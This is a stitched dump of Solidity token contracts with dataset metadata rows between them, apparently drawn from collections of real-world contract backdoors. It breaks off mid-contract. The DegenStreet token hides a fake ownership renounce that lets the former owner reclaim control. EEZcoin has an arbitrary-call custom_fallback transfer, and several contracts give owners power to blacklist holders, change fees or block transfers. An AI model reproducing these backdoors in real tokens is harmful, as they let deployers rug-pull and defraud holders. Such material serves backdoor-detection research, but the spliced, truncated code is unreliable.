function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurned() public view returns (uint256) {
return TOTAL_SUPPLY - _tTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
(uint256 rAmount,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return deductTransferFee ? rTransferAmount : rAmount;
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
return rAmount.div(_getRate());
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function airdrop(address recipient, uint256 amount) public onlyOwner() {
require(amount > 0, "Invalid transfer amount");
(uint256 rAmount,,,,,,) = _getValues(amount);
address sender = _msgSender();
require(rAmount <= _rOwned[sender], "Insufficient amount");
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, rBurn, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, address(0), tBurn);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, rBurn, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, address(0), tBurn);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, rBurn, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, address(0), tBurn);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(,,,,uint256 tTransferAmount,,) = _getValues(tAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 rBurn, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee.add(rBurn));
_tTotal = _tTotal.sub(tBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn) = _getRValues(tAmount, tFee, tBurn, _getRate());
return (rAmount, rTransferAmount, rFee, rBurn, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(FEE_PERCENT);
uint256 tBurn = tAmount.div(100).mul(BURN_PERCENT);
uint256 tTransferAmount = tAmount.sub(tFee.add(tBurn));
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 rate) private pure returns (uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(rate);
uint256 rFee = tFee.mul(rate);
uint256 rBurn = tBurn.mul(rate);
uint256 rTransferAmount = rAmount.sub(rFee.add(rBurn));
return (rAmount, rTransferAmount, rFee, rBurn);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 103,175 | 11,781 |
28b433620e61c10909550fdd51a4404234fb9c0f0477c85daaba7fa06608e888
| 15,402 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xa9dfdbcdf13ba52d5353c793b03ebc00b00e51d1.sol
| 3,538 | 13,973 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract EEZcoin is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint) public increase;
mapping (address => uint256) public unlockUnixTime;
uint public maxIncrease=20;
address public target;
string internal name_= "EEZcoin";
string internal symbol_ = "EEZ";
uint8 internal decimals_= 18;
uint256 internal totalSupply_= 600000000e18;
uint256 public toGiveBase = 1000e18;
uint256 public increaseBase = 100e18;
uint256 public OfficalHold = totalSupply_.mul(18).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
bool public canTransfer = true;
uint256 public etherGetBase=3000000;
bool public distributionFinished = false;
bool public finishFreeGetToken = false;
bool public finishEthGetToken = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(canTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function EEZcoin (address _target) public {
owner = msg.sender;
target = _target;
distr(target, OfficalHold);
}
// Function to access name of token .
function name() public view returns (string _name) {
return name_;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol_;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals_;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
require(_amount[i] <= maxIncrease);
increase[addresses[i]] = _amount[i];
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
distributionFinished = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
canTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
canTransfer = false;
return true;
}
function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) {
toGiveBase = _toGiveBase;
increaseBase = _increaseBase;
etherGetBase=_etherGetBase;
maxIncrease=_maxIncrease;
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (toGiveBase > totalRemaining) {
toGiveBase = totalRemaining;
}
address investor = msg.sender;
uint256 etherValue=msg.value;
uint256 value;
if(etherValue>1e15){
require(finishEthGetToken==false);
value=etherValue.mul(etherGetBase);
value=value.add(toGiveBase);
require(value <= totalRemaining);
distr(investor, value);
if(!owner.send(etherValue))revert();
}else{
require(finishFreeGetToken==false
&& toGiveBase <= totalRemaining
&& increase[investor]<=maxIncrease
&& now>=unlockUnixTime[investor]);
value=value.add(increase[investor].mul(increaseBase));
value=value.add(toGiveBase);
increase[investor]+=1;
distr(investor, value);
unlockUnixTime[investor]=now+1 days;
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& blacklist[_from] == false
&& blacklist[_to] == false);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
ForeignToken t = ForeignToken(tokenAddress);
uint256 bal = t.balanceOf(who);
return bal;
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = this.balance;
if(!receiveAddress.send(etherBalance))revert();
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 141,914 | 11,782 |
3e0dfb93a0509a90aab3c75d083bee63d073227f100827e5b93190ddd162971c
| 14,522 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x59ef697894da6f943ce8d534b98f89cdbfbc763d.sol
| 2,798 | 11,277 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract USDCryptoToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
//uint _initialSupply, string _name, string _symbol, uint _decimals
function USDCryptoToken() public {
_totalSupply = 1100000000000000; //_initialSupply;
name = "USD Crypto"; //_name;
symbol = "USDC"; //_symbol;
decimals = 6; //_decimals;
balances[owner] = _totalSupply;//_initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 207,877 | 11,783 |
60422707d61f047fbc5d9bd3a9b7b6eaf01cd13279367daf51d785a54f237f82
| 22,014 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x630dd3d6844d8865d260418395DBfB3e0d48dBFA/contract.sol
| 2,524 | 9,165 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract DegenStreet is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'DegenStreet';
_symbol = 'DGS';
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _Taxfee = 2;
uint256 private _previousTaxFee = _Taxfee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 1000000000000000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 1000000000000 * 10**9;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_Taxfee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
